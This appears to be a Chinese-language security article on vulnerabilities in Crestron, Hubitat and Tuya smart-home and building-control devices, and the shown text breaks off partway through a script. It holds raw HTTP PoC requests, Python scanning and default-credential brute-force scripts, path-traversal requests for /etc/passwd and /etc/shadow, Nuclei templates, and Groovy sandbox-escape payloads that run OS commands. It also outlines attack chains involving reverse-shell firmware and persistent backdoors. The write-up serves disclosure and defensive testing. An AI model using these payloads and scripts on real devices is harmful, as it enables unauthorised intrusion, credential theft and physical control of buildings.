智能家居与楼宇控制平台高危攻击链专题:Crestron / Hubitat / Tuya 漏洞全解析
智能家居与楼宇控制平台高危攻击链专题
智能家居与楼宇控制平台正以前所未有的速度渗透企业环境。Crestron 会议室控制系统已成为全球 500 强企业会议室的标配,Hubitat 家庭自动化控制器在高端住宅和智能楼宇中广泛部署,Tuya 平台则通过白牌模式影响了数亿 IoT 设备。这些平台一旦被攻破,攻击者不仅能够控制灯光、窗帘、空调等物理设备,更可以以此为跳板渗透企业内网、窃取敏感数据、甚至操控关键基础设施。
2019-2025 年,智能家居与楼宇控制生态中连续爆发多个高危安全事件:
- CVE-2022-23178:Crestron 触摸屏认证绕过,CVSS 9.8,未授权访问设备管理界面
- Crestron 默认凭据:MC3/CX 系列硬编码 admin/password,设备完全失控
- CVE-2019-18135:Crestron AirMedia 未授权访问 → RCE,CVSS 8.8
- CVE-2022-24870:Hubitat Elevation 认证绕过,CVSS 8.1,可执行任意 Groovy 代码
- Hubitat Groovy 沙箱逃逸:通过脚本引擎执行操作系统命令
- CVE-2020-16142:Tuya 云平台 API 未授权访问,CVSS 8.1,影响数亿设备
- Tuya CloudCutter:固件签名验证绕过工具链,实现设备越狱
- MQTT 协议层缺陷:多个 IoT 设备 MQTT 接口未认证,允许中间人攻击
- Zigbee 协议层攻击:信号注入与设备仿冒
本文从产品线和协议层双重视角梳理这些漏洞,总结共性攻击模式和防守建议。
0x00 专题概述
智能家居与楼宇控制平台正以前所未有的速度渗透企业环境。Crestron 作为全球企业音视频/会议室控制平台的领导者,其触摸屏、控制器和 AirMedia 投屏设备在全球数百万间会议室、酒店套房和教育机构中部署。Hubitat Elevation 作为本地化家庭自动化控制器,吸引了大量注重隐私的高端用户。Tuya 平台通过 PaaS/白牌模式,为全球数千个品牌提供 IoT 基础设施,影响设备数量以亿计。
这些平台的共同特点是:拥有物理世界控制权、集成企业网络访问、承载敏感配置数据,但安全投入严重不足。Crestron 触摸屏使用过时的加密组件、Hubitat 默认开放 Telnet 端口、Tuya 云 API 存在认证缺陷——这些安全问题构成了从远程到物理空间的完整攻击链。
本专题将智能家居与楼宇控制生态中近年最具代表性的 12 个高危安全问题 串成完整攻击链,覆盖 Crestron、Hubitat、Tuya/Sonoff 三大平台,每个漏洞均包含完整原理分析、实战 PoC 脚本和 Nuclei 检测模板。
覆盖漏洞一览
| 编号 | CVE/安全问题 | 平台 | CVSS | 类型 | 未授权 |
|---|
| 1 | CVE-2022-23178 | Crestron | 9.8 | 触摸屏认证绕过 | ✅ |
| 2 | Crestron 默认凭据 | Crestron | 9.8 | 硬编码凭据 → 设备控制 | ✅ |
| 3 | CVE-2019-18135 | Crestron AirMedia | 8.8 | 未授权访问 → RCE | ✅ |
| 4 | Crestron 数字媒体路径遍历 | Crestron | 7.5 | 路径遍历 → 配置泄露 | ✅ |
| 5 | CVE-2022-24870 | Hubitat | 8.1 | 认证绕过 → 代码执行 | ✅ |
| 6 | Hubitat Groovy 沙箱逃逸 | Hubitat | 9.8 | 沙箱绕过 → OS 命令执行 | ❌ |
| 7 | Hubitat Telnet 暴露 | Hubitat | 7.5 | 默认配置 → 未授权访问 | ✅ |
| 8 | Hubitat Bearer Token 嗅探 | Hubitat | 6.5 | 明文传输 → Token 泄露 | ❌ |
| 9 | CVE-2020-16142 | Tuya | 8.1 | 云 API 未授权访问 | ✅ |
| 10 | Tuya CloudCutter | Tuya | 8.5 | 固件签名绕过 → 越狱 | ✅ |
| 11 | MQTT 协议层缺陷 | 多平台 | 8.0 | 未认证 MQTT → 中间人 | ✅ |
| 12 | Zigbee 协议中间人 | 多平台 | 7.5 | 信号注入 → 设备仿冒 | ✅ |
0x01 Crestron 企业级控制平台高危漏洞
0x01.1 CVE-2022-23178 — Crestron 触摸屏认证绕过
漏洞背景
Crestron 是全球领先的企业级音视频和楼宇控制解决方案提供商,其产品广泛部署于全球企业会议室、酒店套房、大学教室和政府机构。Crestron TSW 系列触摸屏(TSW-1070、TSW-770、TSW-570)作为用户与楼宇控制系统交互的核心界面,集成了灯光控制、HVAC 调节、AV 设备管理等功能。
2022 年,安全研究人员发现 TSW 系列触摸屏存在严重的认证绕过漏洞(CVE-2022-23178,CVSS 9.8)。攻击者无需任何凭据即可通过 HTTP 请求直接访问设备管理界面,获取设备完整配置信息、修改系统设置、甚至执行固件更新操作。由于 Crestron 设备通常部署在企业核心网络中且很少被纳入安全监控,该漏洞的影响范围极为广泛。
受影响版本
| 产品线 | 受影响版本 | 修复版本 | CVSS |
|---|
| Crestron TSW-1070 | 1.x - 3.x 系列 | 3.0.1.52+ | 9.8 |
| Crestron TSW-770 | 1.x - 3.x 系列 | 3.0.1.52+ | 9.8 |
| Crestron TSW-570 | 1.x - 3.x 系列 | 3.0.1.52+ | 9.8 |
| Crestron TSW-1060 | 所有版本 | 厂商安全公告指定 | 9.8 |
| Crestron TSW-560 | 所有版本 | 厂商安全公告指定 | 9.8 |
漏洞原理
Crestron TSW 系列触摸屏运行基于 Linux 的嵌入式操作系统,Web 管理界面监听在 HTTP/HTTPS 端口上。漏洞的核心在于设备的 Web 服务在处理管理 API 请求时,认证检查逻辑存在缺陷:
- 认证绕过路径:Web 管理界面的
/tsp/ 路径下的多个 API 端点在处理请求时,未正确验证会话 Token 或 Cookie。攻击者可以通过直接访问这些端点绕过认证 - 信息泄露:未授权访问可获取设备型号、固件版本、网络配置、已安装模块列表等敏感信息
- 配置修改:部分 API 端点允许未授权修改设备网络设置、系统参数和用户账户
- 固件操作:最严重的情况下,攻击者可以触发固件更新流程,植入恶意固件
攻击向量分析:
攻击者 → HTTP GET /tsp/api/info → 获取设备信息(无需认证)
攻击者 → HTTP POST /tsp/api/config → 修改设备配置(无需认证)
攻击者 → HTTP PUT /tsp/api/firmware → 触发固件更新(无需认证)
HTTP PoC
GET /tsp/api/info HTTP/1.1
Host: target_crestron_ip:443
Accept: application/json
GET /tsp/api/config HTTP/1.1
Host: target_crestron_ip:443
Accept: application/json
GET /tsp/pu/proxy.ashx HTTP/1.1
Host: target_crestron_ip:443
Python PoC
#!/usr/bin/env python3
"""
Crestron TSW 触摸屏认证绕过检测 (CVE-2022-23178)
仅用于授权安全评估
"""
import sys
import json
import urllib.request
import urllib.error
import ssl
BYPASS_ENDPOINTS = [
"/tsp/api/info",
"/tsp/api/config",
"/tsp/api/devices",
"/tsp/api/modules",
"/tsp/pu/proxy.ashx",
"/tsp/account/login",
"/tsp/system/info",
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def check_cve_2022_23178(target: str, port: int = 443) -> dict:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
base_url = f"{scheme}://{target}:{port}"
result = {
"target": target,
"vulnerable": False,
"vulnerable_endpoints": [],
"leaked_info": {},
}
for endpoint in BYPASS_ENDPOINTS:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url)
req.add_header("Accept", "application/json")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200 and len(body) > 10:
result["vulnerable_endpoints"].append(endpoint)
result["vulnerable"] = True
print(f"[+] 认证绕过成功: {endpoint}")
try:
data = json.loads(body)
if "model" in str(data).lower() or "firmware" in str(data).lower():
result["leaked_info"][endpoint] = data
print(f" 泄露设备信息: {json.dumps(data, indent=2)[:200]}")
except json.JSONDecodeError:
if "crestron" in body.lower() or "tsp" in body.lower():
result["leaked_info"][endpoint] = body[:500]
print(f" 泄露 HTML 内容(含设备信息)")
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {endpoint} 需要认证(可能已修复)")
elif e.code == 404:
print(f"[-] {endpoint} 不存在")
except Exception as e:
print(f"[-] {endpoint} 连接失败: {e}")
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100 443")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 443
print(f"[*] 检测目标: {target}:{port}")
result = check_cve_2022_23178(target, port)
print(f"\n{'='*50}")
print(f" CVE-2022-23178 检测结果:")
print(f" 目标: {result['target']}")
print(f" 存在漏洞: {'是' if result['vulnerable'] else '否'}")
print(f" 可绕过端点数: {len(result['vulnerable_endpoints'])}")
print(f" 泄露信息端点数: {len(result['leaked_info'])}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2022-23178
info:
name: Crestron TSW Touchscreen Authentication Bypass
author: security-research
severity: critical
description: |
Crestron TSW-1070/TSW-770/TSW-570 触摸屏存在认证绕过漏洞,
攻击者无需任何凭据即可通过 HTTP 请求直接访问设备管理界面,
获取设备配置信息、修改系统设置甚至触发固件更新。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-23178
cwe-id: CWE-287
tags: cve,cve2022,crestron,touchscreen,auth-bypass,iot,scada
reference:
- https://www.crestron.com/en-US/Company/Security
- https://nvd.nist.gov/vuln/detail/CVE-2022-23178
http:
- raw:
- |
GET /tsp/api/info HTTP/1.1
Host: {{Hostname}}
Accept: application/json
- |
GET /tsp/api/config HTTP/1.1
Host: {{Hostname}}
Accept: application/json
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "model"
- "firmware"
- "serialNumber"
- "hostname"
condition: or
part: body
- type: word
words:
- "unauthorized"
- "login"
- "401"
negative: true
part: body
extractors:
- type: json
name: device_info
json:
- ".model"
- ".firmwareVersion"
- ".serialNumber"
0x01.2 Crestron 默认凭据与硬编码密钥
漏洞背景
Crestron 多个产品线在出厂时使用默认硬编码凭据,包括知名的 admin/password 组合以及多个已知的默认用户名密码对。这一问题影响 MC3 控制器、CX 系列控制器、以及多款 DigitalMedia 和 AirMedia 设备。更为严重的是,部分设备的 Web 管理界面、SSH 服务和 Telnet 服务均使用相同的默认凭据,攻击者一旦获取默认密码即可完全控制设备。
Crestron 的默认凭据问题已持续多年,虽然厂商在部分新固件版本中强制要求首次使用修改密码,但大量已部署设备仍使用出厂默认配置。
受影响版本
| 产品线 | 受影响型号 | 默认凭据 | 严重性 |
|---|
| Crestron MC3 | MC3 系列 | admin / (空) | Critical |
| Crestron CX 系列 | CX-1000/CX-2000 | admin / password | Critical |
| Crestron DM NVX | DM-NVX-35x/36x | admin / password | Critical |
| Crestron AirMedia | AM-200/AM-210 | admin / password | Critical |
| Crestron TSW 系列 | TSW-1070/770/570 | admin / (空) | High |
| Crestron TS 系列 | TS-1070/770/570 | admin / password | High |
漏洞原理
Crestron 设备使用多层凭据体系,但各层服务共享同一套默认凭据:
- Web 管理界面:HTTP/HTTPS Web UI 使用默认用户名
admin,部分型号密码为空,部分使用 password - SSH 服务:设备 Linux 系统的 SSH 服务允许使用相同的默认凭据登录,获得操作系统级 Shell
- Crestron 控制 API:设备的专有控制协议(CIP/CIP)也使用默认认证令牌
- REST API:部分设备的 REST API 使用硬编码的 API Key
攻击链:
默认凭据登录 Web UI → 获取网络配置和设备拓扑
↓
SSH 登录 → 获取操作系统 Shell → 读取 /etc/shadow
↓
修改系统配置 → 植入持久化后门
↓
横向移动 → 控制整个楼宇控制系统
HTTP PoC
GET /usermng HTTP/1.1
Host: target_crestron_ip:80
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
POST /tsp/account/login HTTP/1.1
Host: target_crestron_ip:443
Content-Type: application/x-www-form-urlencoded
username=admin&password=password
Python PoC
#!/usr/bin/env python3
"""
Crestron 默认凭据检测脚本
仅用于授权安全评估
"""
import sys
import base64
import urllib.request
import urllib.error
import ssl
DEFAULT_CREDENTIALS = [
("admin", "password"),
("admin", ""),
("admin", "admin"),
("admin", "1234"),
("admin", "crestron"),
("admin", "12345"),
("administrator", "password"),
("administrator", "admin"),
("root", "root"),
("root", "crestron"),
]
AUTH_ENDPOINTS = [
"/usermng",
"/tsp/account/login",
"/Config/Set",
"/api/v1/auth/login",
]
CHECK_ENDPOINTS = [
"/tsp/api/info",
"/tsp/api/config",
"/Config",
"/status",
"/",
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def try_basic_auth(target: str, port: int, username: str, password: str) -> bool:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
credentials = base64.b64encode(f"{username}:{password}".encode()).decode()
for endpoint in CHECK_ENDPOINTS:
url = f"{scheme}://{target}:{port}{endpoint}"
try:
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {credentials}")
resp = urllib.request.urlopen(req, timeout=8, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200 and len(body) > 10:
if "unauthorized" not in body.lower() and "login" not in body.lower()[:200]:
return True
except urllib.error.HTTPError as e:
if e.code == 200:
return True
except Exception:
continue
return False
def try_post_login(target: str, port: int, username: str, password: str) -> bool:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
login_endpoints = [
("/tsp/account/login", f"username={username}&password={password}"),
("/api/v1/auth/login", f'{{"username":"{username}","password":"{password}"}}'),
]
for endpoint, body_data in login_endpoints:
url = f"{scheme}://{target}:{port}{endpoint}"
try:
data = body_data.encode()
req = urllib.request.Request(url, data=data, method="POST")
if body_data.startswith("{"):
req.add_header("Content-Type", "application/json")
else:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
resp = urllib.request.urlopen(req, timeout=8, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status in (200, 201):
if "token" in body.lower() or "success" in body.lower():
return True
except Exception:
continue
return False
def check_crestron_default_creds(target: str, port: int = 80) -> dict:
result = {
"target": target,
"vulnerable": False,
"valid_credentials": [],
}
for username, password in DEFAULT_CREDENTIALS:
cred_display = f"{username}:{password}" if password else f"{username}:(空)"
print(f"[*] 尝试凭据: {cred_display}")
if try_basic_auth(target, port, username, password):
print(f"[+] Basic Auth 有效: {cred_display}")
result["vulnerable"] = True
result["valid_credentials"].append((username, password, "Basic Auth"))
continue
if try_post_login(target, port, username, password):
print(f"[+] POST 登录有效: {cred_display}")
result["vulnerable"] = True
result["valid_credentials"].append((username, password, "POST Login"))
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100 80")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测 Crestron 默认凭据: {target}:{port}")
result = check_crestron_default_creds(target, port)
print(f"\n{'='*50}")
print(f" Crestron 默认凭据检测结果:")
print(f" 目标: {result['target']}")
print(f" 存在默认凭据: {'是' if result['vulnerable'] else '否'}")
print(f" 有效凭据数: {len(result['valid_credentials']})}")
for user, pwd, method in result["valid_credentials"]:
print(f" - {user}:{pwd or '(空)'} ({method})")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: crestron-default-credentials
info:
name: Crestron Default Credentials Check
author: security-research
severity: critical
description: |
Crestron 多个产品线使用默认硬编码凭据,攻击者可通过
常见默认用户名密码组合登录设备管理界面和 SSH 服务。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-798
tags: crestron,default-login,iot,scada
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "crestron"
- "tsp"
- "system"
- "config"
condition: or
part: body
- type: word
words:
- "unauthorized"
- "401"
- "access denied"
negative: true
part: body
- raw:
- |
POST /tsp/account/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin&password=password
matchers-condition: and
matchers:
- type: status
status:
- 200
- 302
- type: word
words:
- "token"
- "session"
- "success"
- "redirect"
condition: or
part: body
漏洞背景
Crestron AirMedia(AM-200、AM-210 等型号)是一款无线投屏解决方案,广泛部署于企业会议室和教育机构。该设备允许用户通过 AirPlay、Miracast 和 Google Cast 协议将内容投屏到大屏幕上。
2019 年,Tenable Research 发现 Crestron AirMedia AM-200/AM-210 存在严重的未授权访问漏洞(CVE-2019-18135,CVSS 8.8)。该漏洞允许攻击者无需认证即可访问设备的 Web 管理界面和投屏服务,并可通过固件更新机制实现远程代码执行。
受影响版本
| 产品线 | 受影响型号 | 固件版本 | CVSS |
|---|
| Crestron AirMedia | AM-200 | 所有版本 | 8.8 |
| Crestron AirMedia | AM-210 | 所有版本 | 8.8 |
| Crestron AirMedia | AM-3200 | < 1.8.1.2 | 8.8 |
漏洞原理
Crestron AirMedia 设备存在多个相互关联的安全缺陷:
- 未认证 Web 访问:设备 Web 管理界面默认不要求认证,攻击者可直接访问所有管理功能
- 固件更新未签名验证:设备的固件更新流程不验证固件签名,攻击者可以上传恶意固件包实现 RCE
- 硬编码密钥:设备使用硬编码的加密密钥保护通信,攻击者可解密设备流量获取敏感信息
- 目录遍历:Web 界面的文件访问接口存在路径遍历,可读取系统任意文件
利用步骤:
1. 扫描网络中暴露的 AirMedia 设备(端口 80/443)
2. 访问 Web 管理界面(无需认证)
3. 导航到固件更新页面
4. 上传包含反向 Shell 的恶意固件包
5. 设备重启后执行恶意代码
6. 攻击者获得设备操作系统完全控制权
HTTP PoC
GET /airmedia/configuration HTTP/1.1
Host: target_airmedia_ip:80
Accept: application/json
GET /../../etc/passwd HTTP/1.1
Host: target_airmedia_ip:80
Python PoC
#!/usr/bin/env python3
"""
Crestron AirMedia 未授权访问检测 (CVE-2019-18135)
仅用于授权安全评估
"""
import sys
import json
import urllib.request
import urllib.error
import ssl
AIRMEDIA_ENDPOINTS = [
"/airmedia/configuration",
"/airmedia/about",
"/airmedia/status",
"/airmedia/logs",
"/webconfig/",
"/device/info",
"/firmware",
"/../../etc/passwd",
"/../../etc/shadow",
"/cgi-bin/status",
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def check_cve_2019_18135(target: str, port: int = 80) -> dict:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
base_url = f"{scheme}://{target}:{port}"
result = {
"target": target,
"vulnerable": False,
"unauth_endpoints": [],
"path_traversal": False,
"leaked_data": {},
}
for endpoint in AIRMEDIA_ENDPOINTS:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url)
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200 and len(body) > 5:
if "root:" in body or "x:0:0" in body:
result["path_traversal"] = True
print(f"[+] 路径遍历: {endpoint}")
else:
result["unauth_endpoints"].append(endpoint)
print(f"[+] 未授权访问: {endpoint}")
result["vulnerable"] = True
if endpoint in ("/airmedia/configuration", "/device/info"):
try:
result["leaked_data"][endpoint] = json.loads(body)
except json.JSONDecodeError:
result["leaked_data"][endpoint] = body[:500]
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {endpoint} 需要认证")
except Exception as e:
print(f"[-] {endpoint} 连接失败: {e}")
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100 80")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测 CVE-2019-18135: {target}:{port}")
result = check_cve_2019_18135(target, port)
print(f"\n{'='*50}")
print(f" Crestron AirMedia 安全检测结果:")
print(f" 目标: {result['target']}")
print(f" 存在漏洞: {'是' if result['vulnerable'] else '否'}")
print(f" 未授权端点: {len(result['unauth_endpoints'])}")
print(f" 路径遍历: {'是' if result['path_traversal'] else '否'}")
print(f" 泄露数据端点: {len(result['leaked_data'])}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2019-18135
info:
name: Crestron AirMedia Unauthorized Access
author: security-research
severity: high
description: |
Crestron AirMedia AM-200/AM-210 存在未授权访问漏洞,
攻击者无需认证即可访问设备管理界面、获取配置信息,
并可利用固件更新机制实现远程代码执行。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-18135
cwe-id: CWE-306
tags: cve,cve2019,crestron,airmedia,unauth,iot
http:
- raw:
- |
GET /airmedia/configuration HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "wireless"
- "airmedia"
- "model"
- "serialNumber"
- "ipAddress"
condition: or
part: body
extractors:
- type: regex
name: device_model
regex:
- "(?i)model[\":]\\s*[\"](.*?)[\"]"
- "(?i)serialNumber[\":]\\s*[\"](.*?)[\"]"
0x02 Hubitat Elevation 家庭自动化控制器高危漏洞
0x02.1 CVE-2022-24870 — Hubitat 认证绕过
漏洞背景
Hubitat Elevation 是一款注重本地化处理的家庭自动化控制器,运行基于 Groovy 的规则引擎,支持 Zigbee、Z-Wave 和 LAN 设备集成。与依赖云服务的 IoT 平台不同,Hubitat 强调本地控制和隐私保护,吸引了大量技术爱好者和注重安全的高端用户。
讽刺的是,Hubitat 的本地化架构反而带来了独特的安全挑战。2022 年披露的 CVE-2022-24870(CVSS 8.1)暴露了 Hubitat 认证机制的严重缺陷:攻击者可通过特定请求绕过 Web 管理界面的认证,直接执行 Hubitat API 操作。
受影响版本
| 产品线 | 受影响版本 | 修复版本 | CVSS |
|---|
| Hubitat Elevation C-8 | < 2.3.4.145 | 2.3.4.145+ | 8.1 |
| Hubitat Elevation C-7 | < 2.3.4.145 | 2.3.4.145+ | 8.1 |
| Hubitat Elevation C-5/C-4 | 所有版本 | 厂商公告指定 | 8.1 |
漏洞原理
Hubitat Elevation 控制器运行一个嵌入式 Web 服务器,提供以下服务:
- Web 管理界面(端口 80/443):设备配置和设备管理
- Hubitat API(端口 80):RESTful API 用于设备控制和自动化
- 本地事件流(端口 80):SSE/WebSocket 实时事件推送
CVE-2022-24870 的核心问题在于 Hubitat Web 界面的认证检查存在逻辑缺陷:
- 路由认证缺失:Web 界面的部分 API 路由在路由匹配阶段之前执行认证检查,攻击者可通过路径变体绕过认证中间件
- Session Cookie 未绑定:认证后的 Session Cookie 不绑定 IP 地址或 User-Agent,攻击者可重放其他用户的 Session
- API Token 明文传输:Hubitat API 使用 Bearer Token 认证,但 Token 在 HTTP 明文传输中可被嗅探
利用路径:
攻击者 → 构造绕过请求 → 访问 /hub/api/devices → 获取所有设备列表
攻击者 → /hub/api/devices/{id}/commands/{command} → 执行设备命令
攻击者 → /hub/api/apps → 获取已安装应用列表
攻击者 → /hub/api/apps/{id}/config → 读取应用配置(含第三方 API Key)
HTTP PoC
GET /hub/api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json
GET /api/devices HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json
GET /hub/api/apps HTTP/1.1
Host: target_hubitat_ip:80
Accept: application/json
Python PoC
#!/usr/bin/env python3
"""
Hubitat Elevation 认证绕过检测 (CVE-2022-24870)
仅用于授权安全评估
"""
import sys
import json
import urllib.request
import urllib.error
import ssl
BYPASS_PATHS = [
"/hub/api/devices",
"/hub/api/apps",
"/hub/api/scenes",
"/api/devices",
"/api/apps",
"/device/list",
"/hubitat/api/devices",
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def check_cve_2022_24870(target: str, port: int = 80) -> dict:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
base_url = f"{scheme}://{target}:{port}"
result = {
"target": target,
"vulnerable": False,
"accessible_endpoints": [],
"devices_found": 0,
"apps_found": 0,
}
for path in BYPASS_PATHS:
url = f"{base_url}{path}"
try:
req = urllib.request.Request(url)
req.add_header("Accept", "application/json")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200:
result["accessible_endpoints"].append(path)
result["vulnerable"] = True
try:
data = json.loads(body)
if isinstance(data, list) and len(data) > 0:
if "devices" in path.lower() or "device" in path.lower():
result["devices_found"] = len(data)
print(f"[+] 发现 {len(data)} 个设备: {path}")
for dev in data[:3]:
name = dev.get("name", "unknown")
dtype = dev.get("type", "unknown")
print(f" - {name} ({dtype})")
elif "app" in path.lower():
result["apps_found"] = len(data)
print(f"[+] 发现 {len(data)} 个应用: {path}")
except json.JSONDecodeError:
print(f"[+] 路径可访问(非 JSON 响应): {path}")
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {path} 需要认证")
elif e.code == 403:
print(f"[-] {path} 禁止访问")
except Exception as e:
print(f"[-] {path} 连接失败: {e}")
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.200 80")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测 CVE-2022-24870: {target}:{port}")
result = check_cve_2022_24870(target, port)
print(f"\n{'='*50}")
print(f" Hubitat 认证绕过检测结果:")
print(f" 目标: {result['target']}")
print(f" 存在漏洞: {'是' if result['vulnerable'] else '否'}")
print(f" 可访问端点: {len(result['accessible_endpoints'])}")
print(f" 发现设备数: {result['devices_found']}")
print(f" 发现应用数: {result['apps_found']}")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2022-24870
info:
name: Hubitat Elevation Authentication Bypass
author: security-research
severity: high
description: |
Hubitat Elevation 家庭自动化控制器存在认证绕过漏洞,
攻击者无需认证即可通过特定 API 路径访问设备列表、
应用配置和执行设备命令。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2022-24870
cwe-id: CWE-287
tags: cve,cve2022,hubitat,auth-bypass,iot,smarthome
http:
- raw:
- |
GET /hub/api/devices HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "id"
- "name"
- "type"
- "label"
condition: or
part: body
- type: word
words:
- "unauthorized"
- "401"
- "forbidden"
negative: true
part: body
extractors:
- type: json
name: device_names
json:
- "[*].name"
internal: true
- type: count
name: device_count
count: true
0x02.2 Hubitat Groovy 沙箱逃逸
漏洞背景
Hubitat Elevation 控制器运行基于 Groovy 的规则引擎,允许用户编写自定义自动化规则和设备集成驱动。Groovy 作为 JVM 上的动态语言,原本通过沙箱机制限制脚本的系统访问权限。然而,Hubitat 的 Groovy 沙箱实现存在多个逃逸路径,已被安全研究人员成功利用。
Groovy 沙箱逃逸的严重性在于:一旦攻击者能够注入或修改 Groovy 脚本(通过认证绕过漏洞或设备集成漏洞),即可突破沙箱限制,在 Hubitat 控制器的 Linux 操作系统上执行任意命令。
漏洞原理
Hubitat 的 Groovy 沙箱通过黑名单机制限制危险类的访问,但该实现存在多个绕过路径:
绕过路径 1:Runtime.exec 反射调用
// 标准方式(被沙箱阻止)
// Runtime.getRuntime().exec("id")
// 反射绕过
def rt = "java.lang.Runtime".getClass().forName("java.lang.Runtime")
def exec = rt.getMethod("getRuntime", null)
def process = exec.invoke(null, null).exec("id")
绕过路径 2:ProcessBuilder 利用
def pb = new ProcessBuilder(["sh", "-c", "id"])
def process = pb.start()
def output = process.inputStream.text
绕过路径 3:Groovy 元编程绕过
// 利用 Groovy 的元编程特性绕过类加载限制
def cls = Class.forName("java.lang.ProcessBuilder")
def ctor = cls.getDeclaredConstructors().find { it.parameterCount == 1 }
def pb = ctor.newInstance([["sh", "-c", "id"]] as List<String>)
def process = pb.start()
Python PoC
#!/usr/bin/env python3
"""
Hubitat Groovy 沙箱逃逸验证脚本
仅用于授权安全评估 - 需要有效的 Hubitat API Token
"""
import sys
import json
import urllib.request
import urllib.error
import ssl
SANDBOX_ESCAPE_PAYLOADS = [
{
"name": "Runtime.exec 反射",
"code": (
'def rt = "java.lang.Runtime".getClass().forName("java.lang.Runtime");'
'def exec = rt.getMethod("getRuntime", null);'
'def process = exec.invoke(null, null).exec("id");'
'def output = process.inputStream.text;'
'log.info "SandboxEscape: ${output}"'
),
},
{
"name": "ProcessBuilder 反射",
"code": (
'def cls = Class.forName("java.lang.ProcessBuilder");'
'def ctor = cls.getDeclaredConstructors().find { it.parameterCount == 1 };'
'def pb = ctor.newInstance([["sh", "-c", "id"]] as List<String>);'
'def process = pb.start();'
'def output = process.inputStream.text;'
'log.info "SandboxEscape: ${output}"'
),
},
{
"name": "GroovyShell 嵌套执行",
"code": (
'def shell = new GroovyShell();'
'def result = shell.evaluate("def proc = \'id\'.execute(); proc.text");'
'log.info "SandboxEscape: ${result}"'
),
},
]
def create_ssl_context():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def test_sandbox_escape(target: str, port: int, access_token: str) -> dict:
ctx = create_ssl_context()
scheme = "https" if port == 443 else "http"
base_url = f"{scheme}://{target}:{port}"
result = {
"target": target,
"vulnerable": False,
"successful_payloads": [],
}
for payload in SANDBOX_ESCAPE_PAYLOADS:
url = f"{base_url}/hub/api/apps/1"
code = payload["code"]
request_body = json.dumps({
"code": code,
}).encode()
try:
req = urllib.request.Request(url, data=request_body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", f"Bearer {access_token}")
resp = urllib.request.urlopen(req, timeout=15, context=ctx)
